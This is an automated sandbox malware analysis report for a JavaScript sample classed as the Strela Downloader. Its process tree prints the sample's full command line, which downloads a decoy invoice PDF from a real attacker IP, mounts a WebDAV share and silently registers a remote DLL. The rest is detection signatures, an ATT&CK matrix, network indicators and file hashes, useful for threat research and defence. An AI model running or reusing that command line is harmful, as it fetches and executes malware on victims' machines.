Windows
Analysis Report
18938150912509528417.js
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
- wscript.exe (PID: 6184 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\18938 1509125095 28417.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7084 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell.exe -C ommand "In voke-WebRe quest -Out File C:\Us ers\user\A ppData\Loc al\Temp\in voice.pdf http://193 .143.1.205 /invoice.p hp"&&start C:\Users\ user\AppDa ta\Local\T emp\invoic e.pdf&&cmd /c net us e \\193.14 3.1.205@88 88\davwwwr oot\&&cmd /c regsvr3 2 /s \\193 .143.1.205 @8888\davw wwroot\239 6349329267 .dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6240 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3924 cmdline:
powershell .exe -Comm and "Invok e-WebReque st -OutFil e C:\Users \user\AppD ata\Local\ Temp\invoi ce.pdf htt p://193.14 3.1.205/in voice.php" MD5: 04029E121A0CFA5991749937DD22A1D9) - Acrobat.exe (PID: 6900 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\Acrobat .exe" "C:\ Users\user \AppData\L ocal\Temp\ invoice.pd f" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C) - AcroCEF.exe (PID: 5860 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ba ckgroundco lor=167772 15 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - AcroCEF.exe (PID: 1020 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --log-seve rity=disab le --user- agent-prod uct="Reade rServices/ 23.6.20320 Chrome/10 5.0.0.0" - -lang=en-U S --user-d ata-dir="C :\Users\us er\AppData \Local\CEF \User Data " --log-fi le="C:\Pro gram Files \Adobe\Acr obat DC\Ac robat\acro cef_1\debu g.log" --m ojo-platfo rm-channel -handle=21 24 --field -trial-han dle=1624,i ,607908524 6635210679 ,566920334 7348121946 ,131072 -- disable-fe atures=Bac kForwardCa che,Calcul ateNativeW inOcclusio n,WinUseBr owserSpell Checker /p refetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
- svchost.exe (PID: 1220 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_StrelaDownloader | Yara detected Strela Downloader | Joe Security |
System Summary |
---|
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): |
Source: | Author: Florian Roth (Nextron Systems), Hieu Tran: |
Source: | Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: frack113: |
Source: | Author: vburov: |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
HIPS / PFW / Operating System Protection Evasion |
---|
Source: | Author: Joe Security: |
Click to jump to signature section
Software Vulnerabilities |
---|
Source: | Argument value : | Go to definition | ||
Source: | Argument value : | Go to definition |
Source: | Child: |
Source: | IP Address: |
Source: | ASN Name: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Spam, unwanted Advertisements and Ransom Demands |
---|
Source: | File source: |
System Summary |
---|
Source: | COM Object queried: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | Initial sample: |
Source: | Classification label: |
Source: | File created: | Jump to behavior |
Source: | Mutant created: | ||
Source: | Mutant created: |
Source: | File created: | Jump to behavior |
Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior | ||
Source: | Section loaded: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | Window detected: |
Source: | File opened: | Jump to behavior |
Data Obfuscation |
---|
Source: | Anti Malware Scan Interface: |
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Window found: | Jump to behavior |
Source: | Window / User API: | Jump to behavior | ||
Source: | Window / User API: | Jump to behavior |
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep count: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior |
Source: | File opened: | Jump to behavior |
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Process information queried: | Jump to behavior |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Stealing of Sensitive Information |
---|
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | 32 Scripting | Valid Accounts | 1 Command and Scripting Interpreter | 32 Scripting | 11 Process Injection | 11 Masquerading | OS Credential Dumping | 1 Network Share Discovery | Remote Services | Data from Local System | Data Obfuscation | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
Credentials | Domains | Default Accounts | 1 Exploitation for Client Execution | 1 DLL Side-Loading | 1 DLL Side-Loading | 31 Virtualization/Sandbox Evasion | LSASS Memory | 11 Security Software Discovery | Remote Desktop Protocol | Data from Removable Media | Junk Data | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | 2 PowerShell | Logon Script (Windows) | Logon Script (Windows) | 11 Process Injection | Security Account Manager | 1 Process Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | Steganography | Automated Exfiltration | Data Encrypted for Impact |
Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 1 Obfuscated Files or Information | NTDS | 31 Virtualization/Sandbox Evasion | Distributed Component Object Model | Input Capture | Protocol Impersonation | Traffic Duplication | Data Destruction |
Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 DLL Side-Loading | LSA Secrets | 1 Application Window Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | Steganography | Cached Domain Credentials | 1 File and Directory Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | Compile After Delivery | DCSync | 22 System Information Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
7% | Virustotal | Browse | ||
0% | ReversingLabs |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
0% | Avira URL Cloud | safe |
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
false | high | |||
false | high | |||
false | high | |||
false | high | |||
false | high | |||
false |
| unknown | ||
false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|---|
193.143.1.205 | unknown | unknown | 57271 | BITWEB-ASRU | true |
IP |
---|
127.0.0.1 |
Joe Sandbox version: | 42.0.0 Malachite |
Analysis ID: | 1587718 |
Start date and time: | 2025-01-10 17:17:59 +01:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 5m 17s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 17 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | 18938150912509528417.js |
Detection: | MAL |
Classification: | mal100.rans.spyw.expl.evad.winJS@27/59@0/2 |
EGA Information: | Failed |
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
- Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 23.204.152.210, 23.204.152.213, 192.168.2.6, 13.107.246.45, 52.149.20.212, 104.78.188.188
- Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, crl.root-x1.letsencrypt.org.edgekey.net
- Not all processes where analyzed, report is missing behavior information
- Report size exceeded maximum capacity and may have missing behavior information.
- Report size getting too big, too many NtCreateKey calls found.
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
Time | Type | Description |
---|---|---|
11:19:12 | API Interceptor | |
11:19:16 | API Interceptor | |
11:19:16 | API Interceptor | |
11:19:24 | API Interceptor |
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
193.143.1.205 | Get hash | malicious | Strela Downloader | Browse |
| |
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
BITWEB-ASRU | Get hash | malicious | Strela Downloader | Browse |
| |
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
| ||
Get hash | malicious | Strela Downloader | Browse |
|
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1310720 |
Entropy (8bit): | 0.7263313835192063 |
Encrypted: | false |
SSDEEP: | 1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0f:9JZj5MiKNnNhoxuO |
MD5: | 0DB1D82A1109F1E3809BA18910F33BAD |
SHA1: | 539A1A7FA0516476FB715E788ABF6871F0A638B7 |
SHA-256: | 3025CB692A0683B7C518A442A3E8C0ABBE1FCFEF7283A40C5508A7CC0D608519 |
SHA-512: | 69F1349BE7DEFA5589B754D75692EA48D11996A735A84960E612BD07AA8892BCD3773061518F04B93929CFA17F1B32A5142A8EEBB887EBCA4983830413A0F2F6 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1310720 |
Entropy (8bit): | 0.7555955408801049 |
Encrypted: | false |
SSDEEP: | 1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL |
MD5: | 4996FDF8C4BBFA2BD20152FE2180D4AD |
SHA1: | 3C0ECD2B42BD7D3DD678A0E601E654980DE466BD |
SHA-256: | D3A485BF607716128553965EF0B8DAF73FB4AE326E47421AAE5078B2AF47C6F9 |
SHA-512: | 1357DE7A11D654B57D8C0DB517A96AF3C6C9960ABEE3E4329A80ECEC1D08135078496A6B18381684E1EB7624DEDAD468E4A6ACFE4D18260A181B2D65593C4D1A |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 16384 |
Entropy (8bit): | 0.07910253287406788 |
Encrypted: | false |
SSDEEP: | 3:57mltEYeCh0ENaAPaU1l1j/YlluxmO+l/SNxOf:4EzpENDPaUCgmOH |
MD5: | C334DED281143CCE4CD05163BB6AC6E5 |
SHA1: | 62B0B2FF0665D5479369EDB512903670D43C3C56 |
SHA-256: | F0A1B01BCDB89A788BA686D8449DA4033325C2423918A97F0E3F8CE12D49264B |
